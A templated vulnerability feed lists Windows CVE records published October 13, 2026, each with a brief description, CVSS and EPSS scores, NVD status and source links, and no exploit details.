### Untrusted pointer dereference in Windows CD-ROM Driver allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70275
Untrusted pointer dereference in Windows CD-ROM Driver allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Untrusted pointer dereference in Windows CD-ROM Driver allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70275).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70275&date=2026-10-25).
Sources:
NVD CVE-2026-70275: https://nvd.nist.gov/vuln/detail/CVE-2026-70275
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70275&date=2026-10-25
Untrusted pointer dereference in Windows CD-ROM Driver allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70272
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70272).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70272&date=2026-10-25).
Sources:
NVD CVE-2026-70272: https://nvd.nist.gov/vuln/detail/CVE-2026-70272
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70272&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in WebDAV allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-70262
Heap-based buffer overflow in WebDAV allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Heap-based buffer overflow in WebDAV allows an unauthorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70262).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70262&date=2026-10-25).
Sources:
NVD CVE-2026-70262: https://nvd.nist.gov/vuln/detail/CVE-2026-70262
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70262&date=2026-10-25
Heap-based buffer overflow in WebDAV allows an unauthorized attacker to elevate privileges over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70258
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70258).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70258&date=2026-10-25).
Sources:
NVD CVE-2026-70258: https://nvd.nist.gov/vuln/detail/CVE-2026-70258
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70258&date=2026-10-25
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70255
Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70255).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70255&date=2026-10-25).
Sources:
NVD CVE-2026-70255: https://nvd.nist.gov/vuln/detail/CVE-2026-70255
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70255&date=2026-10-25
Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70252
Use after free in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70252).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70252&date=2026-10-25).
Sources:
NVD CVE-2026-70252: https://nvd.nist.gov/vuln/detail/CVE-2026-70252
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70252&date=2026-10-25
Use after free in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows HTTP.sys allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-70247
Out-of-bounds read in Windows HTTP.sys allows an authorized attacker to execute code locally. (Oct 13, 2026).
Out-of-bounds read in Windows HTTP.sys allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70247).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70247&date=2026-10-25).
Sources:
NVD CVE-2026-70247: https://nvd.nist.gov/vuln/detail/CVE-2026-70247
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70247&date=2026-10-25
Out-of-bounds read in Windows HTTP.sys allows an authorized attacker to execute code locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70245
Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70245).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70245&date=2026-10-25).
Sources:
NVD CVE-2026-70245: https://nvd.nist.gov/vuln/detail/CVE-2026-70245
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70245&date=2026-10-25
Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70241
Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70241).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70241&date=2026-10-25).
Sources:
NVD CVE-2026-70241: https://nvd.nist.gov/vuln/detail/CVE-2026-70241
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70241&date=2026-10-25
Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70238
Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70238).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70238&date=2026-10-25).
Sources:
NVD CVE-2026-70238: https://nvd.nist.gov/vuln/detail/CVE-2026-70238
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70238&date=2026-10-25
Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70237
Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70237).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70237&date=2026-10-25).
Sources:
NVD CVE-2026-70237: https://nvd.nist.gov/vuln/detail/CVE-2026-70237
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70237&date=2026-10-25
Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70233
Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70233).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70233&date=2026-10-25).
Sources:
NVD CVE-2026-70233: https://nvd.nist.gov/vuln/detail/CVE-2026-70233
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70233&date=2026-10-25
Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70230
Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70230).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70230&date=2026-10-25).
Sources:
NVD CVE-2026-70230: https://nvd.nist.gov/vuln/detail/CVE-2026-70230
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70230&date=2026-10-25
Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization in Active Directory Domain Services allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70229
Incorrect authorization in Active Directory Domain Services allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Incorrect authorization in Active Directory Domain Services allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70229).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70229&date=2026-10-25).
Sources:
NVD CVE-2026-70229: https://nvd.nist.gov/vuln/detail/CVE-2026-70229
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70229&date=2026-10-25
Incorrect authorization in Active Directory Domain Services allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70228
Out-of-bounds read in Desktop Window Manager allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Desktop Window Manager allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70228).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70228&date=2026-10-25).
Sources:
NVD CVE-2026-70228: https://nvd.nist.gov/vuln/detail/CVE-2026-70228
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70228&date=2026-10-25
Out-of-bounds read in Desktop Window Manager allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70225
Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70225).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70225&date=2026-10-25).
Sources:
NVD CVE-2026-70225: https://nvd.nist.gov/vuln/detail/CVE-2026-70225
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70225&date=2026-10-25
Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Console Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70223
Use after free in Windows Console Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Console Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70223).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70223&date=2026-10-25).
Sources:
NVD CVE-2026-70223: https://nvd.nist.gov/vuln/detail/CVE-2026-70223
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70223&date=2026-10-25
Use after free in Windows Console Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows OLE DB allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-70210
Heap-based buffer overflow in Windows OLE DB allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows OLE DB allows an unauthorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70210).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70210&date=2026-10-25).
Sources:
NVD CVE-2026-70210: https://nvd.nist.gov/vuln/detail/CVE-2026-70210
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70210&date=2026-10-25
Heap-based buffer overflow in Windows OLE DB allows an unauthorized attacker to elevate privileges over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Network Policy Server (NPS) allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70207
Heap-based buffer overflow in Network Policy Server (NPS) allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Network Policy Server (NPS) allows an authorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70207).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70207&date=2026-10-25).
Sources:
NVD CVE-2026-70207: https://nvd.nist.gov/vuln/detail/CVE-2026-70207
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70207&date=2026-10-25
Heap-based buffer overflow in Network Policy Server (NPS) allows an authorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70205
Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70205).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70205&date=2026-10-25).
Sources:
NVD CVE-2026-70205: https://nvd.nist.gov/vuln/detail/CVE-2026-70205
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70205&date=2026-10-25
Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Push Notifications allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70198
Use after free in Windows Push Notifications allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Push Notifications allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70198).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70198&date=2026-10-25).
Sources:
NVD CVE-2026-70198: https://nvd.nist.gov/vuln/detail/CVE-2026-70198
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70198&date=2026-10-25
Use after free in Windows Push Notifications allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Protection mechanism failure in Windows PowerShell allows an authorized attacker to bypass a security feature locally.
https://kevwire.com/record/CVE-2026-70185
Protection mechanism failure in Windows PowerShell allows an authorized attacker to bypass a security feature locally. (Oct 13, 2026).
Protection mechanism failure in Windows PowerShell allows an authorized attacker to bypass a security feature locally.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70185).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70185&date=2026-10-25).
Sources:
NVD CVE-2026-70185: https://nvd.nist.gov/vuln/detail/CVE-2026-70185
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70185&date=2026-10-25
Protection mechanism failure in Windows PowerShell allows an authorized attacker to bypass a security feature locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper resolution of path equivalence in Windows Backup Engine allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70184
Improper resolution of path equivalence in Windows Backup Engine allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper resolution of path equivalence in Windows Backup Engine allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70184).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70184&date=2026-10-25).
Sources:
NVD CVE-2026-70184: https://nvd.nist.gov/vuln/detail/CVE-2026-70184
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70184&date=2026-10-25
Improper resolution of path equivalence in Windows Backup Engine allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Numeric truncation error in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70177
Numeric truncation error in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Numeric truncation error in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70177).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70177&date=2026-10-25).
Sources:
NVD CVE-2026-70177: https://nvd.nist.gov/vuln/detail/CVE-2026-70177
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70177&date=2026-10-25
Numeric truncation error in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
